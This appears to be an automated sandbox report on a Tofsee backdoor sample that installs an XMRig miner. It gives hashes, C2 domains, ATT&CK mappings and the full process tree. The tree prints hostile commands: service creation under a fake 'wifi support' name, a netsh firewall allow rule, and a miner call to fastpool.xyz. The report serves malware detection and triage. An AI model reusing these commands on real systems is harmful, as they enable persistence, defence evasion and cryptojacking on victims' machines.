Analysis

  • max time kernel
    149s
  • max time network
    156s
  • platform
    windows10_x64
  • resource
    win10-20220414-en
  • submitted
    15-06-2022 13:27

General

  • Target

    c214d72aa3851fa061d8504301418e8e6e1b859766472faa555ce1b203240bd4.exe

  • Size

    259KB

  • MD5

    e32f7f13ebd03792da6837fe1c6f831e

  • SHA1

    712235275e30d27d9e2aa0e43f3e95bf9c36700d

  • SHA256

    c214d72aa3851fa061d8504301418e8e6e1b859766472faa555ce1b203240bd4

  • SHA512

    f187d7e401b1661e10e77bc8421471f0c87f3f45a429ae94951f0f617a046a9cb0a52a2ef0f67aad9ceefc78c845b4469ffdbb1c9dbce5582334757e01a7d1c9

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 2 IoCs
  • Modifies Windows Firewall 1 TTPs 2 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 13 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 43 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\c214d72aa3851fa061d8504301418e8e6e1b859766472faa555ce1b203240bd4.exe
    "C:\Users\Admin\AppData\Local\Temp\c214d72aa3851fa061d8504301418e8e6e1b859766472faa555ce1b203240bd4.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:4588
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\rsfwvwff\
      2⤵
        PID:4936
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\pxulrvwh.exe" C:\Windows\SysWOW64\rsfwvwff\
        2⤵
          PID:5056
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create rsfwvwff binPath= "C:\Windows\SysWOW64\rsfwvwff\pxulrvwh.exe /d\"C:\Users\Admin\AppData\Local\Temp\c214d72aa3851fa061d8504301418e8e6e1b859766472faa555ce1b203240bd4.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2452
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description rsfwvwff "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4184
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start rsfwvwff
          2⤵
          • Launches sc.exe
          PID:4348
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1388
        • C:\Users\Admin\wusquyqr.exe
          "C:\Users\Admin\wusquyqr.exe" /d"C:\Users\Admin\AppData\Local\Temp\c214d72aa3851fa061d8504301418e8e6e1b859766472faa555ce1b203240bd4.exe"
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:4852
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\nzxfaxub.exe" C:\Windows\SysWOW64\rsfwvwff\
            3⤵
              PID:1480
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" config rsfwvwff binPath= "C:\Windows\SysWOW64\rsfwvwff\nzxfaxub.exe /d\"C:\Users\Admin\wusquyqr.exe\""
              3⤵
              • Launches sc.exe
              PID:1924
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start rsfwvwff
              3⤵
              • Launches sc.exe
              PID:1360
            • C:\Windows\SysWOW64\netsh.exe
              "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
              3⤵
              • Modifies Windows Firewall
              PID:760
        • C:\Windows\SysWOW64\rsfwvwff\nzxfaxub.exe
          C:\Windows\SysWOW64\rsfwvwff\nzxfaxub.exe /d"C:\Users\Admin\wusquyqr.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:2256
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Windows security bypass
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:4900
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:1012

        Network

        MITRE ATT&CK Matrix ATT&CK v6

        Persistence

        New Service

        1
        T1050

        Modify Existing Service

        1
        T1031

        Registry Run Keys / Startup Folder

        2
        T1060

        Privilege Escalation

        New Service

        1
        T1050

        Defense Evasion

        Disabling Security Tools

        1
        T1089

        Modify Registry

        3
        T1112

        Discovery

        System Information Discovery

        1
        T1082

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\nzxfaxub.exe
          Filesize

          10.6MB

          MD5

          55cd673d28892d022f12e9fe09d54f13

          SHA1

          8024ee2aa892921976a229f44aeefc07893b2d41

          SHA256

          43dff70d899aeecb3cac382a3d11752b5d8e0ceb852ff03aa844e3800684bff2

          SHA512

          cacf0c37c29d0755a1a3f2e8aaf775d1691eea14789926cc67f588f18a540e681565d680de8f35325e71ed6f4698913d75e02ae14d03982f1c5dd8dfb5d9e2a8

        • C:\Users\Admin\AppData\Local\Temp\pxulrvwh.exe
          Filesize

          10.1MB

          MD5

          56d5865b57af325b804641694ac8265b

          SHA1

          2df4baa559a08462a757e18aabcde872be6fad47

          SHA256

          e027fc9cc27aa5fd8a79bb218f048969a3cceaa8186956ae7cccbcbd2b7342f2

          SHA512

          03574f1d3d7e023c83b8b855b024f7a4aa27cd218c02086aee924b3a93e283df35b2778ef4e09c96dcdbfe89643ded6a2868e1bdcb3db24949e2ad9c64d2b3ec

        • C:\Users\Admin\wusquyqr.exe
          Filesize

          11.6MB

          MD5

          f7e9ef32448e9516a5092b60d1d28b8b

          SHA1

          13c7b4c357b8930e652c230b7bf0afa391f61f9c

          SHA256

          e239bc6b2f474b37f17abff293fd2587c6f990900cf78802af91074a089a26bb

          SHA512

          64d3ac9ab19f62977be78b6e1a72a60b426ade2a3221b7dd15d1d4a575840ba6878b6357bf240599f9d786e84a896da1ece99cf7ccb5b2adcea3c79459623380

        • C:\Users\Admin\wusquyqr.exe
          Filesize

          11.6MB

          MD5

          f7e9ef32448e9516a5092b60d1d28b8b

          SHA1

          13c7b4c357b8930e652c230b7bf0afa391f61f9c

          SHA256

          e239bc6b2f474b37f17abff293fd2587c6f990900cf78802af91074a089a26bb

          SHA512

          64d3ac9ab19f62977be78b6e1a72a60b426ade2a3221b7dd15d1d4a575840ba6878b6357bf240599f9d786e84a896da1ece99cf7ccb5b2adcea3c79459623380

        • C:\Windows\SysWOW64\rsfwvwff\nzxfaxub.exe
          Filesize

          10.6MB

          MD5

          55cd673d28892d022f12e9fe09d54f13

          SHA1

          8024ee2aa892921976a229f44aeefc07893b2d41

          SHA256

          43dff70d899aeecb3cac382a3d11752b5d8e0ceb852ff03aa844e3800684bff2

          SHA512

          cacf0c37c29d0755a1a3f2e8aaf775d1691eea14789926cc67f588f18a540e681565d680de8f35325e71ed6f4698913d75e02ae14d03982f1c5dd8dfb5d9e2a8

        • memory/760-404-0x0000000000000000-mapping.dmp
        • memory/1012-733-0x000000000049259C-mapping.dmp
        • memory/1360-378-0x0000000000000000-mapping.dmp
        • memory/1388-213-0x0000000000000000-mapping.dmp
        • memory/1480-348-0x0000000000000000-mapping.dmp
        • memory/1924-364-0x0000000000000000-mapping.dmp
        • memory/2256-483-0x0000000000660000-0x000000000070E000-memory.dmp
          Filesize

          696KB

        • memory/2256-479-0x0000000000720000-0x000000000086A000-memory.dmp
          Filesize

          1.3MB

        • memory/2256-525-0x0000000000400000-0x000000000065D000-memory.dmp
          Filesize

          2.4MB

        • memory/2452-187-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/2452-184-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/2452-183-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/2452-182-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/2452-181-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/2452-180-0x0000000000000000-mapping.dmp
        • memory/4184-186-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/4184-185-0x0000000000000000-mapping.dmp
        • memory/4348-201-0x0000000000000000-mapping.dmp
        • memory/4588-139-0x0000000000790000-0x00000000008DA000-memory.dmp
          Filesize

          1.3MB

        • memory/4588-274-0x0000000000400000-0x000000000065D000-memory.dmp
          Filesize

          2.4MB

        • memory/4588-140-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/4588-141-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/4588-142-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/4588-143-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/4588-144-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/4588-145-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/4588-146-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/4588-147-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/4588-148-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/4588-149-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/4588-151-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/4588-150-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/4588-152-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/4588-153-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/4588-154-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/4588-155-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/4588-156-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/4588-157-0x0000000000400000-0x000000000065D000-memory.dmp
          Filesize

          2.4MB

        • memory/4588-158-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/4588-159-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/4588-160-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/4588-161-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/4588-162-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/4588-163-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/4588-164-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/4588-165-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/4588-166-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/4588-115-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/4588-116-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/4588-117-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/4588-118-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/4588-119-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/4588-120-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/4588-121-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/4588-122-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/4588-123-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/4588-124-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/4588-125-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/4588-114-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/4588-138-0x0000000002380000-0x0000000002393000-memory.dmp
          Filesize

          76KB

        • memory/4588-137-0x0000000000790000-0x00000000008DA000-memory.dmp
          Filesize

          1.3MB

        • memory/4588-134-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/4588-135-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/4588-133-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/4588-132-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/4588-131-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/4588-130-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/4588-129-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/4588-128-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/4588-127-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/4588-271-0x0000000002380000-0x0000000002393000-memory.dmp
          Filesize

          76KB

        • memory/4588-126-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/4852-405-0x00000000008CA000-0x00000000008D8000-memory.dmp
          Filesize

          56KB

        • memory/4852-332-0x0000000000400000-0x000000000065D000-memory.dmp
          Filesize

          2.4MB

        • memory/4852-329-0x00000000008CA000-0x00000000008D8000-memory.dmp
          Filesize

          56KB

        • memory/4852-265-0x0000000000000000-mapping.dmp
        • memory/4852-409-0x0000000000400000-0x000000000065D000-memory.dmp
          Filesize

          2.4MB

        • memory/4900-676-0x0000000002E30000-0x0000000002E45000-memory.dmp
          Filesize

          84KB

        • memory/4900-595-0x0000000002E30000-0x0000000002E45000-memory.dmp
          Filesize

          84KB

        • memory/4900-518-0x0000000002E39A6B-mapping.dmp
        • memory/4936-177-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/4936-171-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/4936-170-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/4936-169-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/4936-168-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/4936-167-0x0000000000000000-mapping.dmp
        • memory/5056-172-0x0000000000000000-mapping.dmp
        • memory/5056-173-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/5056-174-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/5056-175-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/5056-176-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB

        • memory/5056-178-0x00000000771E0000-0x000000007736E000-memory.dmp
          Filesize

          1.6MB